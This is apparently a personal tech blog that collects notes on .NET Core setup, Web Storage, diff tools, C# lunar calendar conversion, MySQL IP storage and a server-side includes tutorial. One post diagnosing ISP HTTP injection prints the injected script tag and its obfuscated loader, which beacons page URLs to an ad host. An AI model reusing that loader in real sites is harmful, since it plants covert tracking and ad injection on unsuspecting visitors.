CentOS Install .NET Core

.NET Tutorial – Hello World in 10 minutes

https://www.microsoft.com/net/learn/get-started-with-dotnet-tutorial

Add the dotnet product feed

Before installing .NET, you’ll need to register the Microsoft key, register the product repository, and install required dependencies. This only needs to be done once per machine.

Open a command prompt and run the following commands:

sudo rpm -Uvh https://packages.microsoft.com/config/rhel/7/packages-microsoft-prod.rpm

Install .NET Core SDK on Linux CentOS / Oracle

https://www.microsoft.com/net/download/linux-package-manager/centos/sdk-current

sudo yum update
sudo yum install dotnet-sdk-2.1

Install .NET Core Runtime on Linux CentOS / Oracle

https://www.microsoft.com/net/download/linux-package-manager/centos/runtime-current

sudo yum update
sudo yum install aspnetcore-runtime-2.1

 

LocalStorage 本地存储

QQ图片20170228220902

Cookie不多说了。

Web SQL Database实际上已经被废弃,而HTML5的支持的本地存储实际上变成了

Web Storage(Local Storage和Session Storage)与IndexedDB。

Web Storage使用简单字符串键值对在本地存储数据,方便灵活,但是对于大量结构化数据存储力不从心,IndexedDB是为了能够在客户端存储大量的结构化数据,并且使用索引高效检索的API。

sessionStorage和上文中提到的localStorage非常相识,方法也几乎一样:

非常通俗易懂的接口:

  • sessionStorage.getItem(key):获取指定key本地存储的值
  • sessionStorage.setItem(key,value):将value存储到key字段
  • sessionStorage.removeItem(key):删除指定key本地存储的值
  • sessionStorage.length是sessionStorage的项目数

sessionStorage与 localStorage 的异同

sessionStorage 和 localStorage 就一个不同的地方, sessionStorage数据的存储仅特定于某个会话中,也就是说数据只保持到浏览器关闭,当浏览器关闭后重新打开这个页面时, 之前的存储已经被清除。而 localStorage 是一个持久化的存储,它并不局限于会话。

使用 Web Storage(Local Storage和Session Storage)

首先自然是检测浏览器是否支持本地存储。在HTML5中,本地存储是一个window的属性,包括localStorage和sessionStorage,从名字应该可以很清楚的辨认二者的区别,前者是一直存在本地的,后者只是伴随着session,窗口一旦关闭就没了。二者用法完全相同,这里以localStorage为例。

if(window.localStorage){
alert(‘This browser supports localStorage’);
}else{
alert(‘This browser does NOT support localStorage’);
}

存储数据的方法就是直接给window.localStorage添加一个属性,例如:window.localStorage.a 或者 window.localStorage[“a”]。它的读取、写、删除操作方法很简单,是以键值对的方式存在的,如下:

localStorage.a = 3;//设置a为”3″
localStorage[“a”] = “sfsf”;//设置a为”sfsf”,覆盖上面的值
localStorage.setItem(“b”,”isaac”);//设置b为”isaac”
var a1 = localStorage[“a”];//获取a的值
var a2 = localStorage.a;//获取a的值
var b = localStorage.getItem(“b”);//获取b的值
localStorage.removeItem(“c”);//清除c的值

这里最推荐使用的自然是getItem()和setItem(),清除键值对使用removeItem()。如果希望一次性清除所有的键值对,可以使用clear()。另外,HTML5还提供了一个key()方法,可以在不知道有哪些键值的时候使用,如下:

var storage = window.localStorage;
function showStorage(){
for(var i=0;i<storage.length;i++){
  //key(i)获得相应的键,再用getItem()方法获得对应的值
  document.write(storage.key(i)+ ” : ” + storage.getItem(storage.key(i)) + “<br>”);
}
}

html5客户端本地存储之sessionStorage的实例页面

http://www.css88.com/demo/sessionStorage/

http://www.css88.com/demo/sessionStorage/index2.html

http://www.css88.com/demo/sessionStorage/index3.html

Web Storage Support Test

http://dev-test.nemikor.com/web-storage/support-test/

一些文件比对和合并的资料

(最近整理一下)

FC

(CMD命令行)

The fc command has been included in Microsoft operating systems since MS-DOS 3.3 and is included in all versions of Microsoft Windows.

C:\Users\Administrator>fc /?

比较两个文件或两个文件集并显示它们之间

的不同

FC [/A] [/C] [/L] [/LBn] [/N] [/OFF[LINE]] [/T] [/U] [/W] [/nnnn]
    [drive1:][path1]filename1 [drive2:][path2]filename2
FC /B [drive1:][path1]filename1 [drive2:][path2]filename2

  /A         只显示每个不同处的第一行和最后一行。
   /B         执行二进制比较。
   /C         不分大小写。
   /L         将文件作为 ASCII 文字比较。
   /LBn       将连续不匹配的最大值设置为指定
              的行数。
   /N         在 ASCII 比较上显示行数。
   /OFF[LINE] 不要跳过带有脱机属性集的文件。
   /T         不要将制表符扩充到空格。
   /U         将文件作为 UNICODE 文本文件比较。
   /W         为了比较而压缩空白(制表符和空格)。
   /nnnn      指定不匹配处后必须连续
              匹配的行数。
   [drive1:][path1]filename1
              指定要比较的第一个文件或第一个文件集。
   [drive2:][path2]filename2
              指定要比较的第二个文件或第二个文件集。

COMP

(CMD命令行)

A newer command, fc was added in DOS 3.3 which allows for line comparisons in addition to binary comparisons.

C:\Users\Administrator>comp /?

比较两个文件或两个文件集的内容。

COMP [data1] [data2] [/D] [/A] [/L] [/N=number] [/C] [/OFF[LINE]]

  data1      指定要比较的第一个文件的位置和名称。
   data2      指定要比较的第二个文件的位置和名称。
   /D         以十进制格式显示差异。
   /A         以 ASCII 字符显示差异。
   /L         显示不同的行数。
   /N=number  只比较每个文件中第一个指定的行数。
   /C         比较文件时 ASCII 字母不区分大小写。
   /OFF[LINE] 不要跳过带有脱机属性集的文件。

要比较文件集,请在 data1 和 data2 参数中使用通配符。

——————————-

GNU DiffUtils for Windows

(CMD命令行)

显示文件之间的差异

http://gnuwin32.sourceforge.net/packages/diffutils.htm

——————————-

Diff Text – The Online Compare Plain Text & Find Differences Web Page

http://www.diff-text.com/

WinMerge

(桌面程序)

Windows visual diff and merge for files and directories

https://sourceforge.net/projects/winmerge/

Selection Diff Tool

(Web程序)

Microsoft Office 2013 app which reports the differences between two blocks of plain text.

Note: This will not work with previous versions of Office.

https://store.office.com/zh-cn/app.aspx?assetid=WA103863850&ui=zh-CN&rs=zh-CN&ad=CN&appredirect=false

The XML Diff and Patch GUI Tool

https://msdn.microsoft.com/en-us/library/aa302295.aspx

解决NuGet程序包更新安装失败的错误

管理NuGet程序包 中更新程序包,出现:

Failed to initialize the PowerShell host. If your PowerShell execution policy setting is set to AllSigned, open the Package Manager Console to initialize the host first

1. Step

Open Windows PowerShell, run as Administrator

2. Step

Setting an execution policy to RemoteSigned or Unrestricted should work. It must be changed under an administrator mode via a PowerShell console. Be aware that changes will be applied according to the bit version of the PowerShell console, so 32bit or 64 bit. So if you want to install a package in Visual Studio (32 bit version) which requires a specific policy you should change settings of the policy via PowerShell (x86).

The command in PowerShell (as administrator) to set the policy to unrestricted (as noted by @Gabriel in the comments) is:

start-job { Set-ExecutionPolicy Unrestricted } -RunAs32 | wait-job | Receive-Job

OR

NuGet is using the 32 bit console, so it wont be affected by changes to the 64 bit console. Run the following script to make sure you are configuring the 32 bit console.

start-job { Set-ExecutionPolicy RemoteSigned } -RunAs32 | wait-job | Receive-Job

3. Step

Restart Visual Studio

————————————————————-

如果所有的政策是正确的,但安装包时,仍有错误

无法初始化PowerShell主机。如果你的PowerShell执行策略设置为使用AllSigned,打开包管理器控制台首先初始化主机。

解决方案卸载  NuGet包管理器 插件,并重新安装它。

解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】

一个多月就发现浏览器右下角会有时出现广告窗口。

查看源代码,发现head结束之前被加入一行js引用,

<script charset="utf-8" async="true" src="http://n.cosbot.cn/rb/i8.js">
</script>
</head>
(function(d){function $a(p){try{var x=d.getElementsByTagName("head")[0];var y=x.appendChild($s(p));setTimeout(function(){x.removeChild(y)},2000)}catch(e){}}function $c(n){return d.createElement(n)}function $s(p){var j=$c("script");j.src=p;j.async=true;j.type="text/javascript";return j}var amt=0;function $rn(){var ww=d.body.clientWidth;var hh=d.body.clientHeight;var u={j:"ht",c:"com.cn",q:"tp:",m:"b.",n:"wdzs",d:"i."};var be=u.j+u.q+"//"+u.d+u.n+u.m+u.c;var en=escape(window.location.href)+"&a="+Math.random()+"&w="+ww+"&h="+hh;if(top==this){if(ww<300||hh<40){amt+=1;if(amt<3){setTimeout($rn,1000)}else{$a(be+"/fmt8p/m.php?u="+en)}}else{$a(be+"/fmt8p/?u="+en)}}}setTimeout($rn,500)})(document);

最终地址:

*.wdzsb.com.cn/fmt?p/

继续阅读“解决电信路由Http注入脚本插入广告【n.cosbot.cn/rb/i8.js】”

浏览器中自动补全的一处错误:ftp.so

几年来这个问题就一直存在。从注册ftp.so起发现的。

在Windows下,浏览器地址栏中输入不加HTTP协议的网址:“ftp.so”,回车后,浏览器总会把它自动修改为 “ftp://ftp.so/”。

在IE,Chrome,Opera,Edge,Firefox中,都测试,结果都是一样的。

先后给 Google Chrome,微软,Mozilla 等报告过问题,但从没收到过回应。

感觉所有浏览器的自动修正方法都是相同的,所以这也许是个某组织的问题比如:W3C.org。

农转公/公转农 System.Globalization.ChineseLunisolarCalendar 农历转公历/公历转农历

项目中有一个生日短信提醒功能,需要每年提醒。选农历, 每年提醒, 第二年的公历是不一样的,所以每一年的都需要自己计算。

设计的要求 ,他们说因为年纪大的人是只记得农历的。。。

网上资料不少,公历转农历现成的一堆。都是用微软的System.Globalization.ChineseLunisolarCalendar类写的,
但是农历转公历的很少,也有,但都是只提到方法的调用,比如下面:
 20151122234809
正确的应该是1982-10-12 。由于 并没有详细说到关键的闰月计算, 所以起初很困惑,以为计算不准确。

20151122235510

检查全年的月份,发现有因为有闰月的情况,有润月则应该从该闰月起月份自动加一, 如1982年润四月,或则闰五月为6月,后面的月加一处理。
方便理解自己做个对照图:

20151122233022

正确的方法是,要先计算当年农历生日之前的月份有没有闰月,

有了就 直接构造农历日期对象是就把农历的月+1 为9月:

20151122235952

只要明白闰月这一点,其实就很简单了!

///////////
//公历转农历
///////////
            DateTime date = Convert.ToDateTime(textBox1.Text);	//格式:2000-1-1
            ChineseLunisolarCalendar cc = new ChineseLunisolarCalendar();

            if (date > cc.MaxSupportedDateTime || date < cc.MinSupportedDateTime)  
                MessageBox.Show("参数日期时间不在支持的范围内,支持范围:"+cc.MinSupportedDateTime.ToShortDateString()+"到"+cc.MaxSupportedDateTime.ToShortDateString());
            
            int year = cc.GetYear(date);
            int month = cc.GetMonth(date);
            int dayOfMonth = cc.GetDayOfMonth(date);
            int leapMonth = cc.GetLeapMonth(year);
            bool isLeapMonth = cc.IsLeapMonth(year, month);
            bool isLeapYear = cc.IsLeapYear(year);

            if (isLeapMonth || isLeapYear && month >= leapMonth)
                month -= 1;

            textBox2.Text = string.Concat(year, "-", month, "-", dayOfMonth);
///////////
//农历转公历
///////////

	    ChineseLunisolarCalendar cc = new ChineseLunisolarCalendar();
            DateTime date = Convert.ToDateTime(textBox2.Text);	//格式:2000-1-1
            int MonthsInYear = cc.GetMonthsInYear(date.Year);
            int LeapMonth = cc.GetLeapMonth(date.Year, 1);
            bool isLeapMonth = cc.IsLeapMonth(date.Year, date.Month);
            bool isLeapYear = cc.IsLeapYear(date.Year);

            if (isLeapMonth)
                date = cc.ToDateTime(date.Year, date.Month - 1, date.Day, 0, 0, 0, 0);
            else if(date.Month > LeapMonth)
                date = cc.ToDateTime(date.Year, date.Month + 1, date.Day, 0, 0, 0, 0);
            else
                date = cc.ToDateTime(date.Year, date.Month, date.Day, 0, 0, 0, 0);
            
            textBox1.Text = date.ToString("yyyy-MM-dd");

这是一个WinForm做的的实例Demo: WindowsFormsApplication1

Windows update 更新错误 80240016

post-27237-1232862245

方法/步骤

  1. 1

    方法一(推荐):开始菜单 ,在开始搜索框中  输入“疑难解答

    弹出疑难解答菜单 ,在系统和安全性一栏中  单击“使用Windows Update 解决问题”  单击下一步,系统会自动修复windows update的错误 (以下步骤等同方法二)

    windows update自动更新失败,如何快速修复
    windows update自动更新失败,如何快速修复
    windows update自动更新失败,如何快速修复
  2. 2

     方法二:

    开始菜单 ,单击“控制面板”

    在“控制面板”中,单击查看方式,选择“大图标”(或者“小图标”)

    向下翻,找到“疑难解答

    在系统和安全性一栏中  单击“使用Windows Update 解决问题” 单击下一步,系统会自动修复windows update的错误

  3. 3

     特别补充步骤,控制面板 打开网络和Internet ,Internet选项,“连接”选项卡  单击局域网设置按钮,去掉“自动检测设置”前的√, 保证这三个勾没有选中

    这样可以大大提高windows update的成功率(尤其是装好MSDN原版系统后 ,首次更新时可修复代理)

    windows update自动更新失败,如何快速修复
    windows update自动更新失败,如何快速修复
  4. 4

     重新启动电脑,一般情况下windows update就恢复正常了

    windows update自动更新失败,如何快速修复
    END

IP地址在mysql的存储(IP地址和int的转换)

文章作者:Enjoy 转载请注明原文链接。

PHP
echo ip2long(‘192.168.1.38’);
输出:3232235814

MYSQL
SELECT INET_ATON(‘192.168.1.38’);
输出:3232235814

两个函数返回的结果是一样的,都是A*256*256*256+B*256*256+C*256+D的算法
192*256*256*256+168*256*256+1*256+38 = 3 232 235 814

反过来,从int转换为IP地址分别是php的long2ip()和mysql的INET_NTOA()。

mysql存储这个值是字段需要用int UNSIGNED。不用UNSIGNED的话,128以上的IP段就存储不了了。

传统的方法,创建varchar(15),需要占用15个字节,而改时使用int只需要4字节,可以省一些字节。

php存入时:$ip = ip2long($ip);
mysql取出时:SELECT INET_ATON(ip) FROM table …
php取出时,多一步:$ip = long2ip($ip);

转换以前的数据:

1.把以前的varchar()数据转换为int型的SQL语句:
UPDATE `hx_table` SET ip =  INET_ATON(ip) WHERE INET_ATON(ip) is NOT NULL
2.把字段更改为int型:
ALTER TABLE `hx_table` CHANGE `ip` `ip` INT UNSIGNED NOT NULL
3.程序做相应修改上传,完成。

@@UPDATE@@20110310:

在32位的机子上,echo ip2long(‘192.168.1.38’);由于超过32位的最大数,导致输出负数-1062731482。

有两种方法更新为正数:
$ip_long = bindec(decbin(ip2long($ip)));

$ip_long = = sprintf(“%u”, ip2long($ip));
因此一种是修改PHP程序,使其肯定存入正数。
另一种是将mysql的这个字段使用int,非UNSIGNED,使其可以存入负数。

MS SQL SERVER 数据字典 生成SQL

在库内查询,可用于生成如下字段结构:

[表], [字段], [数据类型], [允许为空], [主键], [外键], [引用表], [说明描述]

Mr_Tang_1438232827174_74

 

SELECT TOP (100) PERCENT a.name AS 表, b.name AS 字段, c.name AS 数据类型, CASE WHEN b.isnullable = 0 THEN '-' WHEN b.isnullable = 1 THEN '是' END AS 允许为空,
CASE WHEN d .name IS NULL THEN '-' WHEN d .name IS NOT NULL THEN '是' END AS 主键, CASE WHEN e.parent_object_id IS NULL THEN 0 ELSE 1 END AS 外键,
CASE WHEN e.parent_object_id IS NULL THEN '-' ELSE g.name END AS 引用表, CASE WHEN h.value IS NULL THEN '-' ELSE h.value END AS 说明描述,
i.text AS 默认值
FROM sys.sysobjects AS a INNER JOIN
sys.syscolumns AS b ON a.id = b.id INNER JOIN
sys.systypes AS c ON b.xtype = c.xtype LEFT OUTER JOIN
(SELECT so.id, sc.colid, sc.name
FROM sys.syscolumns AS sc INNER JOIN
sys.sysobjects AS so ON so.id = sc.id INNER JOIN
sys.sysindexkeys AS si ON so.id = si.id AND sc.colid = si.colid
WHERE (si.indid = 1)) AS d ON a.id = d.id AND b.colid = d.colid LEFT OUTER JOIN
sys.foreign_key_columns AS e ON a.id = e.parent_object_id AND b.colid = e.parent_column_id LEFT OUTER JOIN
sys.objects AS g ON e.referenced_object_id = g.object_id LEFT OUTER JOIN
sys.extended_properties AS h ON a.id = h.major_id AND b.colid = h.minor_id LEFT OUTER JOIN
sys.syscomments AS i ON b.cdefault = i.id
WHERE (a.type = 'U') AND (c.name <> 'sysname')
ORDER BY 表, 字段

 

还有一个查全库表字段的,参见另一篇 《通过(sys.sysobjects)对象表,查询全库表的基础信息Sql Server 查询全库表信息

Vesta 主机控制面板

http://vestacp.com/

Vesta,是一个非常简单明了的服务器主机控制面板界。

它速度快,易于使用
安装很简单,界面友好
无需过多配置即可使用
轻形、 快速,资源占用少。

# 当前支持的操作系统:
# RHEL 5, RHEL 6
# CentOS 5, CentOS 6
# Debian 7
# Ubuntu 12.04, Ubuntu 12.10, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04

多语言界面:英语,法语,德语,荷兰语,挪威语,芬兰语,瑞典语,西班牙语,葡萄牙语,意大利语,希腊语,中国,台湾普通话,印度尼西亚,罗马尼亚,波黑,捷克,匈牙利,乌克兰,俄语,土耳其语,阿拉伯语

安装 Vesta 控制面板

1. Root用户登录 SSH
ssh root@your.server-name

2. 下载安装脚本
curl -O http://vestacp.com/pub/vst-install.sh

3. 运行脚本
sh vst-install.sh

卸载 Vesta 控制面板

1. 停止 vesta 服务
service vesta stop

2. 移除 vesta 软件包和软件资源库
RHEL/CentOS:
yum remove vesta*
rm -f /etc/yum.repos.d/vesta.repo

Debian/Ubuntu:
apt-get remove vesta*
rm -f /etc/apt/sources.list.d/vesta.list

3. 删除数据文件夹
rm -rf /usr/local/vesta

你也可以考虑删除管理员用户帐户和其 cron 作业。

shtml中的脚本 – SSI 服务器端包含 (Server Side Includes)

服务器端包含

 

介绍

服务器端包含(Server Side Includes),通常简称为SSI,是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

对什么时候用SSI,而什么时候用某些程序生成整个页面的权衡,取决于页面中有多少内容是静态,有多少内容需要在每次页面被提供时重新计算。SSI是一种增加小段信息的好方法,诸如当前时间。如果你的页面大部分是在被提供时生成的,那就要另找方案了。

。将服务器信息添加到一个 HTML 文档。包括以下的形式:

<!--#command variablename="value"-->
Whether or not you can use SSI on your site depends on your provider. Ask your favourite support person if you can use SSI, what server software is used and if there are any special techniques, conditions or rules. For example, on my site I can only use SSI in files that have an .shtml extension instead of the normal .html one. You also have to ask what path to files to use.

Unfortunately, not all includes explained here work for all servers. For example, the #hide and #show includes are specific to WebStar. With Apache server software, you can achieve the same things by using #if and #endif.

更改时间格式

Before starting to use server side includes, you need to configure a number of things. For starters, choose a format for date and time you like (the #echo command is explained later in this chapter).

<!–#config timefmt=”%A, %d %B %Y at %H:%M:%S”–>
<!–#echo var=”date_gmt”–>

Below is a table of many of the options you can use. You can also include things like colons, commas and slashes as well as bits of text and HTML. You can mix the elements below at will.

Element Value Example
%a Abbreviated day of the week Sun
%A Day of the week Sunday
%b Abbreviated month name Jan
%B Month in full January
%d Date 1 (and not 01)
%H 24-hour clock hour 13
%I 12-hour clock hour 1
%j Decimal day of the year 360
%m Month number 11
%M Minutes 08
%p AM or PM AM
%S Seconds 09
%U Week of the year (also %W) 49
%w Day of the week number 05
%y Year of the century 95
%Y Year 1995
%Z Time zone EST

Here are some more examples of different formats:

<!–#config timefmt=”Week %U of %y”–>
<!–#echo var=”date_gmt”–>

<!–#config timefmt=”%d/%m/%y, day %j of the year”–>
<!–#echo var=”date_gmt”–>

<!–#config timefmt=”%I:%S %p”–>
<!–#echo var=”date_gmt”–>

The last format you have set will remain valid throughout the rest of the page. However, unless you want to use the default format (which usually is something like 98/07/12:16:45:34) you will have to set your favourite time format in every page that uses server side includes that have to do with time.

更改大小格式

You can also specify the way file sizes are displayed.

<!–#config sizefmt=”bytes”–>
<!–#fsize file=”top.gif”–>
<!–#config sizefmt=”abbrev”–>
<!–#fsize file=”top.gif”–>


The #fsize include is explained later in this chapter. You can see that the “bytes” option gives the size in full in bytes, the “abbrev” option gives the size in kilobytes.

自定义错误消息

You can change the default error message to anything you want. Here is an example of changing the error message and then trying to include the non-existent file “nosuchfile.html”:

<!–#config errmsg=”Sorry, an error occurred. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfile.html”–>

There is only one error message available. However, you can change the error message more than once in a single html file:

<!–#config errmsg=”Sorry, an error occurred including nosuchfile.html. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfile.html”–>

<!–#config errmsg=”Sorry, an error occurred including nosuchfileagain.html. Please mail your complaints to webmaster@somewhere.net”–>

<!–#include file=”nosuchfileagain.html”–>

Specifying your own error messages will make it easier for you to spot and solve problems. If you want to use more than one error message, you have to make sure that you change the error message before the command it refers to.

包括文件

The include command allows you to dynamically insert other HTML files into the current HTML file. Use it like this:

<!–#include file=”file.shtml”–>

What path to use, again, depends on your provider. Normally it will be a path that is local to the server, so it will not include http://etc. The most sensible use of this command is to take standard bits of your pages such as headers and footer and put them in a separate file. On all of your pages you use the include command to include that file. That way, in order to change the footer on all pages, you only need to change one file. For example, you could make a simple text file that contains:

<P ALIGN=”center”>Copyright 1998 Tom, Dick and Harry<BR>
Please mail us at tom.dick@harry.com</P

You save this file as ssifooter.html and include it in your other files by using:

<!–#include file=”ssifooter.html”–>

The files you include can be plain text files or can include HTML. You don’t need to give them <HEAD> and <BODY> tags, just put in whatever you want to insert. In these files you can use whatever HTML you want and you can make links, etc.

隐藏 / 显示

With the Hide and Show commands you can avoid that your reader sees certain parts of the document:

<P>Now you see me, <!–#hide–> This text is not shown. <!–#show–> now you don’t.</P

Show and Hide can be used to temporary exclude parts of your document. Hide and Show only work under WebStar, so I cannot show you an example here.

根据时间隐藏和显示

The next example shows how to display bits of HTML only after certain days. Comparisons like this always use the default time format of 1998/07/24:17:34:45 no matter what you have done with the timefmt option.

<!–#hide–>
<!–#show after=”1998/06/30″–>
This text is shown after 30 June 1998.
<!–#show–>

<!–#hide–>
<!–#show after=”1999/06/30″–>
This text is shown after 30 June 1999.
<!–#show–>

Or you can show and hide things on specific days using a combination of ‘hide after’ and ‘show after’:

<!–#hide–>
<!–#show during=”1998/07/12″–>
This text is shown on 12 July 1998.
<!–#show–>

<!–#hide–>
<!–#show during=”1998/07/13″–>
This text is shown on 13 July 1998.
<!–#show–>

<!–#hide–>
<!–#show during=”1998/07/14″–>
This text is shown on 14 July 1998.
<!–#show–>

As you can see, you do not have to specify a full date and time but only what is relevant for you. If you would want to show something during 1998 you could use: during=”1998″.

依据时间隐藏和显示

Here is an example of how to show a bit of text only to a user of Netscape’s Navigator:

<!–#hide–>
<!–#show var=”http_user_agent” operator=”contains”
value=”nav”–>
Welcome Netscape Navigator user!
<!–#show–>

<!–#hide–>
<!–#show var=”http_user_agent” operator=”contains”
value=”MSIE”–>
Welcome Internet Explorer user!
<!–#show–>

As you can see in this example, the output of Webstar is by default on. That’s why you start any of these examples by switching the output of (#hide) and then switching it on again if the appropriate condition is fulfilled. At the end of the example you switch the output on again with a #show include. Again, show and hide do not work under Apache so I cannot show you the result here.

随机隐藏和显示

Show and Hide can also be used at random:

<!–#hide–>
<!–#show var=”random” op=”<” value=”50″ –>
Heads
<!–#hide–>
<!–#show var=”random” op=”=>” value=”50″ –>
Tails
<!–#show–>

If you do a couple of reloads, you should see the text change. Of course you can use the same thing to show and hide images or any other HTML. The number that is used by Webstar is a random number ranging from 1 to 99 inclusive. Here is an example for three random texts:

<!–#hide–>
<!–#show var=”random” op=”<” value=”33″ –>
To be or not to be,
<!–#hide–>
<!–#show var=”random” op=”=>” value=”34″ –>
<!–#hide var=”random” op=”>” value=”66″ –>
that’s the question,
<!–#hide–>
<!–#show var=”random” op=”>” value=”66″ –>
my dear Watson.
<!–#show–>

更多的隐藏和显示

In fact you can show and hide text at will using any of the environment variables (see the section on Echo below). This example shows a bit of text to a user with IP address 195.99.40.125:

<!–#hide–>
<!–#show var=”remote_addr” operator=”=” value=”195.99.40.125″–>
Welcome BTinternet user!
<!–#show–>

If you have friends with fixed IP addresses you can leave messages especially for them in the same manner. Finally, you should know which operators are available:

Operator Meaning
“contains” or “con” variable contains the value string
“starts with” or “start” variable starts with the value string
“ends with” or “end” variable ends with the value string
“=” or “==” variable equals the value string
“!=” or “<>” variable does not equal the value string
“<“ variable is less than the value string
“<=” or “=<“ variable is less than or equal to the value string
“>” variable is greater than the value string
“>=” or “=>” variable is greater than or equal to the value string

If 和 Endif

Because this server runs Apache I could not show the examples of #hide and #show. I can, however, demonstrate the #if and #endif includes (if and endif, in turn, do not work under Webstar):

<!–#config timefmt=”%A”–>
<!–#if expr=”$date_gmt = Friday” –>
Hang in there, it’s almost weekend
<!–#elif expr=”($date_gmt = Saturday) || ($date_gmt = Sunday)” –>
Have a nice weekend
<!–#else –>
Have a good day
<!–#endif –>

Hang in there, it’s almost weekend Have a nice weekend Have a good day

The first thing you will notice is that the #if include, opposite to the #hide and #show, does use the date as formatted with timefmt. This has some clear advantages. You can also see that this example is a bit easier to understand the #show and #hide spaghetti that WebStar seems to need. Note that the #if and #endif are obligatory, the #elif and #else are optional. This example uses date_gmt which is London time -ignoring summertime- rather than date_local which depends on where the server is.

The following operators are available:

Operator Meaning
string1 = string2 string1 equals string2
string1 != string2 string1 does not equal string2
string1 < string2 string1 is less than string2
string1 <= string2 string1 is less than or equal to string2
string1 > string2 string1 is greater than string2
string1 >= string2 string1 is greater than or equal to string2

If, Endif 和环境变量

you can use the #if include to show different information to different browsers. Each browser sets the environment variable http_user_agent differently. This is how Netscape Navigator 4.04, Microsoft Internet Exploder and Apple’s Cyberdog respectively do it:

Mozilla/4.04 (Macintosh; I; PPC, Nav)
Mozilla/4.0 (compatible; MSIE 4.0; Mac_PowerPC)
Cyberdog/2.0 (Macintosh; PPC)

As you can see these are all the Macintosh versions. By the way, this is what your own browser makes of http_user_agent: . So this is how to show different information to different browsers:

<!–#if expr=”$HTTP_USER_AGENT=/MSIE/ ” –>
Fight the Microsoft Monopoly. Get Netscape!
<!–#elif expr=”$HTTP_USER_AGENT=/Nav/ ” –>
Welcome Netscape Navigator user!
<!–#elif expr=”$HTTP_USER_AGENT=/Cyberdog/ ” –>
Welcome Apple Cyberdog user!
<!–#else –>
Welcome! So what browser are you using?
<!–#endif –>

Fight the Microsoft Monopoly. Get Netscape! Welcome Netscape Navigator user! Welcome Apple Cyberdog user! Welcome! So what browser are you using?

Note that the /Nav/ I am looking for here is produced by Netscape Navigator, which is Communicator without the news, mail and webeditor modules. The above is obviously not an exhaustive list of browsers, which is why there is also an #else include for all the browsers that are not covered.

The two slashes around MSIE, Nav and Cyberdog in the example above means that the second string is interpreted as a regular expression, commonly used under Unix. In this case it checks if http_user_agent contains that string.

Set

The #set include can be used to create your own variables and assign them a value. Variables can be printed or can be used in #if statements:

<!–#set var=”carmodel” value=”Mercedes” –>
<!–#echo var=”carmodel” –><BR>
<!–#if expr=”$carmodel = Mercedes” –>
That’s a jolly nice car
<!–#endif –>


That’s a jolly nice car

The $ sign in the #if include is needed to ensure that “carmodel” is interpreted as a variable, not as a string.

Echo

ECHO can be used to insert information from the browser and the server into your document, the so-called environment variables. The following possibilities are available:

Document Name: <!–#echo var=”document_name”–>
Document URI: <!–#echo var=”document_uri”–>
Local Date: <!–#echo var=”date_local”–>
GMT Date: <!–#echo var=”date_gmt”–>
Last Modified: <!–#echo var=”last_modified”–>
Server Software: <!–#echo var=”server_software”–>
Server Name: <!–#echo var=”server_name”–>
Server Protocol: <!–#echo var=”server_protocol”–>
Server Port: <!–#echo var=”server_port”–>
Gateway Interface: <!–#echo var=”gateway_interface”–>
Request Method: <!–#echo var=”request_method”–>
Script Name: <!–#echo var=”script_name”–>
Remote Host: <!–#echo var=”remote_host”–>
Remote Address: <!–#echo var=”remote_addr”–>
Remote User: <!–#echo var=”remote_user”–>
Content Type: <!–#echo var=”content_type”–>
Content Length: <!–#echo var=”content_length”–>
HTTP Accept: <!–#echo var=”http_accept”–>
HTTP User Agent (Browser): <!–#echo var=”http_user_agent”–>
HTTP Cookie: <!–#echo var=”http_cookie”–>
Unescaped query string: <!–#echo var=”query_string_unescaped”–>
Query String: <!–#echo var=”query_string”–>
Path Info: <!–#echo var=”path_info”–>
Path Translated: <!–#echo var=”path_translated”–>
Referer: <!–#echo var=”referer”–>
Forwarded: <!–#echo var=”forwarded”–>

Document Name:
Document URI:
Local Date:
GMT Date:
Last Modified:
Server Software:
Server Name:
Server Protocol:
Server Port:
Gateway Interface:
Request Method:
Script Name:
Remote Host:
Remote Address:
Remote User:
Content Type:
Content Length:
HTTP Accept:
HTTP User Agent (Browser):
HTTP Cookie:
Unescaped query string:
Query String:
Path Info:
Path Translated:
Referer:
Forwarded:

Not all ECHO commands always result in information being printed. This can depend on the server, on your browser and on the way you reached this page. The #echo include works both under WebStar and Apache.

Print Environment

If you want to print the entire environment, you do not need to use a whole list of #echo includes. Instead you can use this shortcut.

<PRE> <!–#printenv –> </PRE>



Note that the environment includes the variable “carmodel” that was defined in an earlier example.

执行脚本

You can use a server side include to run a script. This is what I use on my homepage:

<!–#exec cgi=”ssi.demo.cgi”–>

The CGI script (which is in Perl 5) opens a file with a dozen quotes, selects one at random and prints it to the page. The script, by the way, is courtesy of Matt Wright who offers a brilliant collection of scripts.

文件大小

You can insert the size of a file in this way:

<!–#fsize file=”top.gif”–>

This inserts the size of the file top.gif (the logo at the top of this page). As explained earlier in this chapter, you can determine if the size is displayed in full bytes or abbreviated in kilobytes or megabytes.

文件日期

You can insert the date of a file in this way:

<!–#flastmod file=”top.gif”–>

This inserts the date and the time the file top.gif (the logo at the top of this page) was last modified. The format of the date and time can be customized by you as explained earlier in this chapter.

This page has been translated into Spanish language by Maria Ramos from Webhostinghub.com.